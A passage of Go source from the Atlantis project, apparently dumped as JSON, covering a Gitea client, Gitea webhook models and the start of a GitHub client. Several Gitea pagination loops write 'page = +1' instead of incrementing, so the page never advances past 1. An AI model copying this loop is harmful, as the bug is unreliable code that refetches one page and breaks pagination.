logging.SimpleLogging) (*Client, error) {\n\tlogger.Debug(\"Creating new Gitea client for: %s\", baseURL)\n\n\tgiteaClient, err := gitea.NewClient(baseURL,\n\t\tgitea.SetToken(token),\n\t\tgitea.SetUserAgent(\"atlantis\"),\n\t)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"creating gitea client: %w\", err)\n\t}\n\n\treturn &Client{\n\t\tgiteaClient: giteaClient,\n\t\tusername:    username,\n\t\ttoken:       token,\n\t\tpageSize:    pagesize,\n\t\tctx:         context.Background(),\n\t}, nil\n}\n\nfunc (c *Client) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*gitea.PullRequest, error) {\n\tlogger.Debug(\"Getting Gitea pull request %d\", pullNum)\n\n\tpr, resp, err := c.giteaClient.GetPullRequest(repo.Owner, repo.Name, int64(pullNum))\n\n\tif err != nil {\n\t\tlogger.Debug(\"GET /repos/%v/%v/pulls/%d returned: %v\", repo.Owner, repo.Name, pullNum, resp.StatusCode)\n\t\treturn nil, err\n\t}\n\n\treturn pr, nil\n}\n\n// GetModifiedFiles returns the names of files that were modified in the merge request\n// relative to the repo root, e.g. parent/child/file.txt.\nfunc (c *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tlogger.Debug(\"Getting modified files for Gitea pull request %d\", pull.Num)\n\n\tchangedFiles := make([]string, 0)\n\tpage := 0\n\tnextPage := 1\n\tlistOptions := gitea.ListPullRequestFilesOptions{\n\t\tListOptions: gitea.ListOptions{\n\t\t\tPage:     1,\n\t\t\tPageSize: c.pageSize,\n\t\t},\n\t}\n\n\tfor page < nextPage {\n\t\tpage = +1\n\t\tlistOptions.Page = page\n\t\tfiles, resp, err := c.giteaClient.ListPullRequestFiles(repo.Owner, repo.Name, int64(pull.Num), listOptions)\n\t\tif err != nil {\n\t\t\tlogger.Debug(\"[page %d] GET /repos/%v/%v/pulls/%d/files returned: %v\", page, repo.Owner, repo.Name, pull.Num, resp.StatusCode)\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, file := range files {\n\t\t\tchangedFiles = append(changedFiles, file.Filename)\n\t\t}\n\n\t\tnextPage = resp.NextPage\n\n\t\t// Emergency break after giteaPaginationEBreak pages\n\t\tif page >= giteaPaginationEBreak {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn changedFiles, nil\n}\n\n// CreateComment creates a comment on the merge request. As far as we're aware, Gitea has no built in max comment length right now.\nfunc (c *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error {\n\tlogger.Debug(\"Creating comment on Gitea pull request %d\", pullNum)\n\n\topt := gitea.CreateIssueCommentOption{\n\t\tBody: comment,\n\t}\n\n\t_, resp, err := c.giteaClient.CreateIssueComment(repo.Owner, repo.Name, int64(pullNum), opt)\n\n\tif err != nil {\n\t\tlogger.Debug(\"POST /repos/%v/%v/issues/%d/comments returned: %v\", repo.Owner, repo.Name, pullNum, resp.StatusCode)\n\t\treturn err\n\t}\n\n\tlogger.Debug(\"Added comment to Gitea pull request %d: %s\", pullNum, comment)\n\n\treturn nil\n}\n\n// ReactToComment adds a reaction to a comment.\nfunc (c *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error {\n\tlogger.Debug(\"Adding reaction to Gitea pull request comment %d\", commentID)\n\n\t_, resp, err := c.giteaClient.PostIssueCommentReaction(repo.Owner, repo.Name, commentID, reaction)\n\n\tif err != nil {\n\t\tlogger.Debug(\"POST /repos/%v/%v/issues/comments/%d/reactions returned: %v\", repo.Owner, repo.Name, commentID, resp.StatusCode)\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// HidePrevCommandComments hides the previous command comments from the pull\n// request.\nfunc (c *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error {\n\tlogger.Debug(\"Hiding previous command comments on Gitea pull request %d\", pullNum)\n\n\tvar allComments []*gitea.Comment\n\n\tnextPage := int(1)\n\tfor {\n\t\t// Initialize ListIssueCommentOptions with the current page\n\t\topts := gitea.ListIssueCommentOptions{\n\t\t\tListOptions: gitea.ListOptions{\n\t\t\t\tPage:     nextPage,\n\t\t\t\tPageSize: c.pageSize,\n\t\t\t},\n\t\t}\n\n\t\tcomments, resp, err := c.giteaClient.ListIssueComments(repo.Owner, repo.Name, int64(pullNum), opts)\n\t\tif err != nil {\n\t\t\tlogger.Debug(\"GET /repos/%v/%v/issues/%d/comments returned: %v\", repo.Owner, repo.Name, pullNum, resp.StatusCode)\n\t\t\treturn err\n\t\t}\n\n\t\tallComments = append(allComments, comments...)\n\n\t\t// Break the loop if there are no more pages to fetch\n\t\tif resp.NextPage == 0 {\n\t\t\tbreak\n\t\t}\n\t\tnextPage = resp.NextPage\n\t}\n\n\tcurrentUser, resp, err := c.giteaClient.GetMyUserInfo()\n\tif err != nil {\n\t\tlogger.Debug(\"GET /user returned: %v\", resp.StatusCode)\n\t\treturn err\n\t}\n\n\tsummaryHeader := fmt.Sprintf(\"<!--- +-Superseded Command-+ ---><details><summary>Superseded Atlantis %s</summary>\", command)\n\tsummaryFooter := \"</details>\"\n\tlineFeed := \"\\n\"\n\n\tfor _, comment := range allComments {\n\t\tif comment.Poster == nil || comment.Poster.UserName != currentUser.UserName {\n\t\t\tcontinue\n\t\t}\n\n\t\tbody := strings.Split(comment.Body, \"\\n\")\n\t\tif len(body) == 0 || (!strings.Contains(strings.ToLower(body[0]), strings.ToLower(command)) && dir != \"\" && !strings.Contains(strings.ToLower(body[0]), strings.ToLower(dir))) {\n\t\t\tcontinue\n\t\t}\n\n\t\tsupersededComment := summaryHeader + lineFeed + comment.Body + lineFeed + summaryFooter + lineFeed\n\n\t\tlogger.Debug(\"Hiding comment %s\", comment.ID)\n\t\t_, _, err := c.giteaClient.EditIssueComment(repo.Owner, repo.Name, comment.ID, gitea.EditIssueCommentOption{\n\t\t\tBody: supersededComment,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// PullIsApproved returns ApprovalStatus with IsApproved set to true if the pull request has a review that approved the PR.\nfunc (c *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) {\n\tlogger.Debug(\"Checking if Gitea pull request %d is approved\", pull.Num)\n\n\tpage := 0\n\tnextPage := 1\n\n\tapprovalStatus := models.ApprovalStatus{\n\t\tIsApproved: false,\n\t}\n\n\tlistOptions := gitea.ListPullReviewsOptions{\n\t\tListOptions: gitea.ListOptions{\n\t\t\tPage:     1,\n\t\t\tPageSize: c.pageSize,\n\t\t},\n\t}\n\n\tfor page < nextPage {\n\t\tpage = +1\n\t\tlistOptions.Page = page\n\t\tpullReviews, resp, err := c.giteaClient.ListPullReviews(repo.Owner, repo.Name, int64(pull.Num), listOptions)\n\n\t\tif err != nil {\n\t\t\tlogger.Debug(\"GET /repos/%v/%v/pulls/%d/reviews returned: %v\", repo.Owner, repo.Name, pull.Num, resp.StatusCode)\n\t\t\treturn approvalStatus, err\n\t\t}\n\n\t\tfor _, review := range pullReviews {\n\t\t\tif review.State == gitea.ReviewStateApproved {\n\t\t\t\tapprovalStatus.IsApproved = true\n\t\t\t\tapprovalStatus.ApprovedBy = review.Reviewer.UserName\n\t\t\t\tapprovalStatus.Date = review.Submitted\n\n\t\t\t\treturn approvalStatus, nil\n\t\t\t}\n\t\t}\n\n\t\tnextPage = resp.NextPage\n\n\t\t// Emergency break after giteaPaginationEBreak pages\n\t\tif page >= giteaPaginationEBreak {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn approvalStatus, nil\n}\n\n// PullIsMergeable returns true if the pull request is mergeable\nfunc (c *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) {\n\tlogger.Debug(\"Checking if Gitea pull request %d is mergeable\", pull.Num)\n\n\tpullRequest, _, err := c.giteaClient.GetPullRequest(repo.Owner, repo.Name, int64(pull.Num))\n\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, err\n\t}\n\n\tlogger.Debug(\"Gitea pull request is mergeable: %v (%v)\", pullRequest.Mergeable, pull.Num)\n\n\treturn models.MergeableStatus{\n\t\tIsMergeable: pullRequest.Mergeable,\n\t}, nil\n}\n\n// UpdateStatus updates the commit status to state for pull. src is the\n// source of this status. This should be relatively static across runs,\n// ex. atlantis/plan or atlantis/apply.\n// description is a description of this particular status update and can\n// change across runs.\n// url is an optional link that users should click on for more information\n// about this status.\nfunc (c *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error {\n\tgiteaState := gitea.StatusFailure\n\n\tswitch state {\n\tcase models.PendingCommitStatus:\n\t\tgiteaState = gitea.StatusPending\n\tcase models.SuccessCommitStatus:\n\t\tgiteaState = gitea.StatusSuccess\n\tcase models.FailedCommitStatus:\n\t\tgiteaState = gitea.StatusFailure\n\t}\n\n\tlogger.Info(\"Updating Gitea check status for '%s' to '%s'\", src, state)\n\n\tnewStatusOption := gitea.CreateStatusOption{\n\t\tState:       giteaState,\n\t\tTargetURL:   url,\n\t\tDescription: description,\n\t}\n\n\t_, resp, err := c.giteaClient.CreateStatus(repo.Owner, repo.Name, pull.HeadCommit, newStatusOption)\n\n\tif err != nil {\n\t\tlogger.Debug(\"POST /repos/%v/%v/statuses/%s returned: %v\", repo.Owner, repo.Name, pull.HeadCommit, resp.StatusCode)\n\t\treturn err\n\t}\n\n\tlogger.Debug(\"Gitea status for pull request updated: %v (%v)\", state, pull.Num)\n\n\treturn nil\n}\n\n// DiscardReviews discards / dismisses all pull request reviews\nfunc (c *Client) DiscardReviews(_ logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\tpage := 0\n\tnextPage := 1\n\n\tdismissOptions := gitea.DismissPullReviewOptions{\n\t\tMessage: \"Dismissed by Atlantis\",\n\t}\n\n\tlistOptions := gitea.ListPullReviewsOptions{\n\t\tListOptions: gitea.ListOptions{\n\t\t\tPage:     1,\n\t\t\tPageSize: c.pageSize,\n\t\t},\n\t}\n\n\tfor page < nextPage {\n\t\tpage = +1\n\t\tlistOptions.Page = page\n\t\tpullReviews, resp, err := c.giteaClient.ListPullReviews(repo.Owner, repo.Name, int64(pull.Num), listOptions)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, review := range pullReviews {\n\t\t\t_, err := c.giteaClient.DismissPullReview(repo.Owner, repo.Name, int64(pull.Num), review.ID, dismissOptions)\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tnextPage = resp.NextPage\n\n\t\t// Emergency break after giteaPaginationEBreak pages\n\t\tif page >= giteaPaginationEBreak {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\tlogger.Debug(\"Merging Gitea pull request %d\", pull.Num)\n\n\tmergeOptions := gitea.MergePullRequestOption{\n\t\tStyle:                  gitea.MergeStyleMerge,\n\t\tTitle:                  \"Atlantis merge\",\n\t\tMessage:                \"Automatic merge by Atlantis\",\n\t\tDeleteBranchAfterMerge: pullOptions.DeleteSourceBranchOnMerge,\n\t\tForceMerge:             false,\n\t\tHeadCommitId:           pull.HeadCommit,\n\t\tMergeWhenChecksSucceed: false,\n\t}\n\n\tsucceeded, resp, err := c.giteaClient.MergePullRequest(pull.BaseRepo.Owner, pull.BaseRepo.Name, int64(pull.Num), mergeOptions)\n\n\tif err != nil {\n\t\tlogger.Debug(\"POST /repos/%v/%v/pulls/%d/merge returned: %v\", pull.BaseRepo.Owner, pull.BaseRepo.Name, pull.Num, resp.StatusCode)\n\t\treturn err\n\t}\n\n\tif !succeeded {\n\t\treturn fmt.Errorf(\"merge failed: %s\", resp.Status)\n\t}\n\n\treturn nil\n}\n\n// MarkdownPullLink specifies the string used in a pull request comment to reference another pull request.\nfunc (c *Client) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\treturn fmt.Sprintf(\"#%d\", pull.Num), nil\n}\n\n// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to).\nfunc (c *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) {\n\t// TODO: implement\n\treturn nil, errors.New(\"GetTeamNamesForUser not (yet) implemented for Gitea client\")\n}\n\n// GetFileContent a repository file content from VCS (which support fetch a single file from repository)\n// The first return value indicates whether the repo contains a file or not\n// if BaseRepo had a file, its content will placed on the second return value\nfunc (c *Client) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) {\n\tlogger.Debug(\"Getting Gitea file content for file '%s'\", fileName)\n\tcontent, resp, err := c.giteaClient.GetContents(repo.Owner, repo.Name, branch, fileName)\n\n\tif err != nil {\n\t\tlogger.Debug(\"GET /repos/%v/%v/contents/%s?ref=%v returned: %v\", repo.Owner, repo.Name, fileName, branch, resp.StatusCode)\n\t\treturn false, nil, err\n\t}\n\n\tif content.Type == \"file\" {\n\t\tdecodedData, err := base64.StdEncoding.DecodeString(*content.Content)\n\t\tif err != nil {\n\t\t\treturn true, []byte{}, err\n\t\t}\n\t\treturn true, decodedData, nil\n\t}\n\n\treturn false, nil, nil\n}\n\n// SupportsSingleFileDownload returns true if the VCS supports downloading a single file\nfunc (c *Client) SupportsSingleFileDownload(repo models.Repo) bool {\n\treturn true\n}\n\n// GetCloneURL returns the clone URL of the repo\nfunc (c *Client) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) {\n\tlogger.Debug(\"Getting clone URL for %s\", repo)\n\n\tparts := strings.Split(repo, \"/\")\n\tif len(parts) < 2 {\n\t\treturn \"\", errors.New(\"invalid repo format, expected 'owner/repo'\")\n\t}\n\trepository, _, err := c.giteaClient.GetRepo(parts[0], parts[1])\n\tif err != nil {\n\t\tlogger.Debug(\"GET /repos/%v/%v returned an error: %v\", parts[0], parts[1], err)\n\t\treturn \"\", err\n\t}\n\treturn repository.CloneURL, nil\n}\n\n// GetPullLabels returns the labels of a pull request\nfunc (c *Client) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tlogger.Debug(\"Getting labels for Gitea pull request %d\", pull.Num)\n\n\tpage := 0\n\tnextPage := 1\n\tresults := make([]string, 0)\n\n\topts := gitea.ListLabelsOptions{\n\t\tListOptions: gitea.ListOptions{\n\t\t\tPage:     0,\n\t\t\tPageSize: c.pageSize,\n\t\t},\n\t}\n\n\tfor page < nextPage {\n\t\tpage = +1\n\t\topts.Page = page\n\n\t\tlabels, resp, err := c.giteaClient.GetIssueLabels(repo.Owner, repo.Name, int64(pull.Num), opts)\n\n\t\tif err != nil {\n\t\t\tlogger.Debug(\"GET /repos/%v/%v/issues/%d/labels?%v returned: %v\", repo.Owner, repo.Name, pull.Num, \"unknown\", resp.StatusCode)\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, label := range labels {\n\t\t\tresults = append(results, label.Name)\n\t\t}\n\n\t\tnextPage = resp.NextPage\n\n\t\t// Emergency break after giteaPaginationEBreak pages\n\t\tif page >= giteaPaginationEBreak {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn results, nil\n}\n\nfunc ValidateSignature(payload []byte, signature string, secretKey []byte) error {\n\tisValid, err := gitea.VerifyWebhookSignature(string(secretKey), signature, payload)\n\tif err != nil {\n\t\treturn errors.New(\"signature verification internal error\")\n\t}\n\tif !isValid {\n\t\treturn errors.New(\"invalid signature\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/vcs/gitea/models.go",
    "content": "// Copyright 2024 Florian Beisel\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage gitea\n\nimport \"code.gitea.io/sdk/gitea\"\n\ntype GiteaWebhookPayload struct {\n\tAction      string            `json:\"action\"`\n\tNumber      int               `json:\"number\"`\n\tPullRequest gitea.PullRequest `json:\"pull_request\"`\n}\n\ntype GiteaIssueCommentPayload struct {\n\tAction     string           `json:\"action\"`\n\tComment    gitea.Comment    `json:\"comment\"`\n\tRepository gitea.Repository `json:\"repository\"`\n\tIssue      gitea.Issue      `json:\"issue\"`\n}\n"
  },
  {
    "path": "server/events/vcs/github/client.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage github\n\nimport (\n\t\"context\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"maps\"\n\t\"net/http\"\n\t\"slices\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/gofri/go-github-ratelimit/github_ratelimit\"\n\t\"github.com/google/go-github/v83/github\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/shurcooL/githubv4\"\n)\n\n// maxCommentLength is the maximum number of chars allowed in a single comment\n// by GitHub.\nconst maxCommentLength = 65536\n\nvar (\n\tclientMutationID            = githubv4.NewString(\"atlantis\")\n\tpullRequestDismissalMessage = *githubv4.NewString(\"Dismissing reviews because of plan changes\")\n)\n\ntype GithubRepoIdCacheEntry struct {\n\tRepoId     githubv4.Int\n\tLookupTime time.Time\n}\n\ntype GitHubRepoIdCache struct {\n\tcache map[githubv4.String]GithubRepoIdCacheEntry\n}\n\nfunc NewGitHubRepoIdCache() GitHubRepoIdCache {\n\treturn GitHubRepoIdCache{\n\t\tcache: make(map[githubv4.String]GithubRepoIdCacheEntry),\n\t}\n}\n\nfunc (c *GitHubRepoIdCache) Get(key githubv4.String) (githubv4.Int, bool) {\n\tentry, ok := c.cache[key]\n\tif !ok {\n\t\treturn githubv4.Int(0), false\n\t}\n\tif time.Since(entry.LookupTime) > time.Hour {\n\t\tdelete(c.cache, key)\n\t\treturn githubv4.Int(0), false\n\t}\n\treturn entry.RepoId, true\n}\n\nfunc (c *GitHubRepoIdCache) Set(key githubv4.String, value githubv4.Int) {\n\tc.cache[key] = GithubRepoIdCacheEntry{\n\t\tRepoId:     value,\n\t\tLookupTime: time.Now(),\n\t}\n}\n\n// Client is used to perform GitHub actions.\ntype Client struct {\n\tuser                  string\n\tclient                *github.Client\n\tv4Client              *githubv4.Client\n\tctx                   context.Context\n\tconfig                Config\n\tmaxCommentsPerCommand int\n\trepoIdCache           GitHubRepoIdCache\n}\n\n// GithubAppTemporarySecrets holds app credentials obtained from github after creation.\ntype GithubAppTemporarySecrets struct {\n\t// ID is the app id.\n\tID int64\n\t// Key is the app's PEM-encoded key.\n\tKey string\n\t// Name is the app name.\n\tName string\n\t// WebhookSecret is the generated webhook secret for this app.\n\tWebhookSecret string\n\t// URL is a link to the app, like https://github.com/apps/octoapp.\n\tURL string\n}\n\ntype GithubReview struct {\n\tID          githubv4.ID\n\tSubmittedAt githubv4.DateTime\n\tAuthor      struct {\n\t\tLogin githubv4.String\n\t}\n}\n\ntype GithubPRReviewSummary struct {\n\tReviewDecision githubv4.String\n\tReviews        []GithubReview\n}\n\n// NewClient returns a valid GitHub client.\n\nfunc New(hostname string, credentials Credentials, config Config, maxCommentsPerCommand int, logger logging.SimpleLogging) (*Client, error) {\n\tlogger.Debug(\"Creating new GitHub client for host: %s\", hostname)\n\ttransport, err := credentials.Client()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error initializing github authentication transport: %w\", err)\n\t}\n\n\ttransportWithRateLimit, err := github_ratelimit.NewRateLimitWaiterClient(transport.Transport)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error initializing github rate limit transport: %w\", err)\n\t}\n\n\tvar graphqlURL string\n\tvar client *github.Client\n\tif hostname == \"github.com\" {\n\t\tclient = github.NewClient(transportWithRateLimit)\n\t\tgraphqlURL = \"https://api.github.com/graphql\"\n\t} else {\n\t\tapiURL := resolveGithubAPIURL(hostname)\n\t\t// TODO: Deprecated: Use NewClient(httpClient).WithEnterpriseURLs(baseURL, uploadURL) instead\n\t\tclient, err = github.NewEnterpriseClient(apiURL.String(), apiURL.String(), transportWithRateLimit) //nolint:staticcheck\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tgraphqlURL = fmt.Sprintf(\"https://%s/api/graphql\", apiURL.Host)\n\t}\n\n\t// Use the client from shurcooL's githubv4 library for queries.\n\tv4Client := githubv4.NewEnterpriseClient(graphqlURL, transportWithRateLimit)\n\n\tuser, err := credentials.GetUser()\n\tlogger.Debug(\"GH User: %s\", user)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting user: %w\", err)\n\t}\n\n\treturn &Client{\n\t\tuser:                  user,\n\t\tclient:                client,\n\t\tv4Client:              v4Client,\n\t\tctx:                   context.Background(),\n\t\tconfig:                config,\n\t\tmaxCommentsPerCommand: maxCommentsPerCommand,\n\t\trepoIdCache:           NewGitHubRepoIdCache(),\n\t}, nil\n}\n\n// GetModifiedFiles returns the names of files that were modified in the pull request\n// relative to the repo root, e.g. parent/child/file.txt.\nfunc (g *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tlogger.Debug(\"Getting modified files for GitHub pull request %d\", pull.Num)\n\tvar files []string\n\tnextPage := 0\n\nlistloop:\n\tfor {\n\t\topts := github.ListOptions{\n\t\t\tPerPage: 300,\n\t\t}\n\t\tif nextPage != 0 {\n\t\t\topts.Page = nextPage\n\t\t}\n\t\t// GitHub has started to return 404's sometimes. They've got some\n\t\t// eventual consistency issues going on so we're just going to attempt\n\t\t// up to 5 times for each page with exponential backoff.\n\t\tmaxAttempts := 5\n\t\tattemptDelay := 0 * time.Second\n\t\tfor i := range maxAttempts {\n\t\t\t// First don't sleep, then sleep 1, 3, 7, etc.\n\t\t\ttime.Sleep(attemptDelay)\n\t\t\tattemptDelay = 2*attemptDelay + 1*time.Second\n\n\t\t\tpageFiles, resp, err := g.client.PullRequests.ListFiles(g.ctx, repo.Owner, repo.Name, pull.Num, &opts)\n\t\t\tif resp != nil {\n\t\t\t\tlogger.Debug(\"[attempt %d] GET /repos/%v/%v/pulls/%d/files returned: %v\", i+1, repo.Owner, repo.Name, pull.Num, resp.StatusCode)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tghErr, ok := err.(*github.ErrorResponse)\n\t\t\t\tif ok && ghErr.Response.StatusCode == 404 {\n\t\t\t\t\t// (hopefully) transient 404, retry after backoff\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t// something else, give up\n\t\t\t\treturn files, err\n\t\t\t}\n\t\t\tfor _, f := range pageFiles {\n\t\t\t\tfiles = append(files, f.GetFilename())\n\n\t\t\t\t// If the file was renamed, we'll want to run plan in the directory\n\t\t\t\t// it was moved from as well.\n\t\t\t\tif f.GetStatus() == \"renamed\" {\n\t\t\t\t\tfiles = append(files, f.GetPreviousFilename())\n\t\t\t\t}\n\t\t\t}\n\t\t\tif resp.NextPage == 0 {\n\t\t\t\tbreak listloop\n\t\t\t}\n\t\t\tnextPage = resp.NextPage\n\t\t\tbreak\n\t\t}\n\t}\n\treturn files, nil\n}\n\n// CreateComment creates a comment on the pull request.\n// If comment length is greater than the max comment length we split into\n// multiple comments.\nfunc (g *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error {\n\tlogger.Debug(\"Creating comment on GitHub pull request %d\", pullNum)\n\n\tcomments := common.SplitComment(logger, comment, maxCommentLength, g.maxCommentsPerCommand, command)\n\tfor i := range comments {\n\t\t_, resp, err := g.client.Issues.CreateComment(g.ctx, repo.Owner, repo.Name, pullNum, &github.IssueComment{Body: &comments[i]})\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"POST /repos/%v/%v/issues/%d/comments returned: %v\", repo.Owner, repo.Name, pullNum, resp.StatusCode)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// ReactToComment adds a reaction to a comment.\nfunc (g *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, _ int, commentID int64, reaction string) error {\n\tlogger.Debug(\"Adding reaction to GitHub pull request comment %d\", commentID)\n\t_, resp, err := g.client.Reactions.CreateIssueCommentReaction(g.ctx, repo.Owner, repo.Name, commentID, reaction)\n\tif resp != nil {\n\t\tlogger.Debug(\"POST /repos/%v/%v/issues/comments/%d/reactions returned: %v\", repo.Owner, repo.Name, commentID, resp.StatusCode)\n\t}\n\treturn err\n}\n\nfunc (g *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error {\n\tlogger.Debug(\"Hiding previous command comments on GitHub pull request %d\", pullNum)\n\tvar allComments []*github.IssueComment\n\tnextPage := 0\n\tfor {\n\t\tcomments, resp, err := g.client.Issues.ListComments(g.ctx, repo.Owner, repo.Name, pullNum, &github.IssueListCommentsOptions{\n\t\t\tSort:        github.Ptr(\"created\"),\n\t\t\tDirection:   github.Ptr(\"asc\"),\n\t\t\tListOptions: github.ListOptions{Page: nextPage},\n\t\t})\n\t\tif resp != nil {\n\t\t\tlogger.Debug(\"GET /repos/%v/%v/issues/%d/comments returned: %v\", repo.Owner, repo.Name, pullNum, resp.StatusCode)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"listing comments: %w\", err)\n\t\t}\n\t\tallComments = append(allComments, comments...)\n\t\tif resp.NextPage == 0 {\n\t\t\tbreak\n\t\t}\n\t\tnextPage = resp.NextPage\n\t}\n\n\tfor _, comment := range allComments {\n\t\t// Using a case insensitive compare here because usernames aren't case\n\t\t// sensitive and users may enter their atlantis users with different\n\t\t// cases.\n\t\tif comment.User != nil && !strings.EqualFold(comment.User.GetLogin(), g.user) {\n\t\t\tcontinue\n\t\t}\n\t\t// Crude filtering: The comment templates typically include the command name\n\t\t// somewhere in the first line. It's a bit of an assumption, but seems like\n\t\t// a reasonable one, given we've already filtered the comments by the\n\t\t// configured Atlantis user.\n\t\tbody := strings.Split(comment.GetBody(), \"\\n\")\n\t\tif len(body) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tfirstLine := strings.ToLower(body[0])\n\t\tif !strings.Contains(firstLine, strings.ToLower(command)) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// If dir was specified, skip processing comments that don't contain the dir in the first line\n\t\tif dir != \"\" && !strings.Contains(firstLine, strings.ToLower(dir)) {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar m struct {\n\t\t\tMinimizeComment struct {\n\t\t\t\tMinimizedComment struct {\n\t\t\t\t\tIsMinimized       githubv4.Boolean\n\t\t\t\t\tMinimizedReason   githubv4.String\n\t\t\t\t\tViewerCanMinimize githubv4.Boolean\n\t\t\t\t}\n\t\t\t} `graphql:\"minimizeComment(input:$input)\"`\n\t\t}\n\t\tinput := githubv4.MinimizeCommentInput{\n\t\t\tClassifier: githubv4.ReportedContentClassifiersOutdated,\n\t\t\tSubjectID:  comment.GetNodeID(),\n\t\t}\n\t\tlogger.Debug(\"Hiding comment %s\", comment.GetNodeID())\n\t\tif err := g.v4Client.Mutate(g.ctx, &m, input, nil); err != nil {\n\t\t\treturn fmt.Errorf(\"minimize comment %s: %w\", comment.GetNodeID(), err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// getPRReviews Retrieves PR reviews for a pull request on a specific repository.\n// The reviews are being retrieved using pages with the size of 10 reviews.\nfunc (g *Client) getPRReviews(repo models.Repo, pull models.PullRequest) (GithubPRReviewSummary, error) {\n\tvar query struct {\n\t\tRepository struct {\n\t\t\tPullRequest struct {\n\t\t\t\tReviewDecision githubv4.String\n\t\t\t\tReviews        struct {\n\t\t\t\t\tNodes []GithubReview\n\t\t\t\t\t// contains pagination information\n\t\t\t\t\tPageInfo struct {\n\t\t\t\t\t\tEndCursor   githubv4.String\n\t\t\t\t\t\tHasNextPage githubv4.Boolean\n\t\t\t\t\t}\n\t\t\t\t} `graphql:\"reviews(first: $entries, after: $reviewCursor, states: $reviewState)\"`\n\t\t\t} `graphql:\"pullRequest(number: $number)\"`\n\t\t} `graphql:\"repository(owner: $owner, name: $name)\"`\n\t}\n\n\tvariables := map[string]any{\n\t\t\"owner\":        githubv4.String(repo.Owner),\n\t\t\"name\":         githubv4.String(repo.Name),\n\t\t\"number\":       githubv4.Int(pull.Num), // #nosec G115: integer overflow conversion int -> int32\n\t\t\"entries\":      githubv4.Int(10),\n\t\t\"reviewState\":  []githubv4.PullRequestReviewState{githubv4.PullRequestReviewStateApproved},\n\t\t\"reviewCursor\": (*githubv4.String)(nil), // initialize the reviewCursor with null\n\t}\n\n\tvar 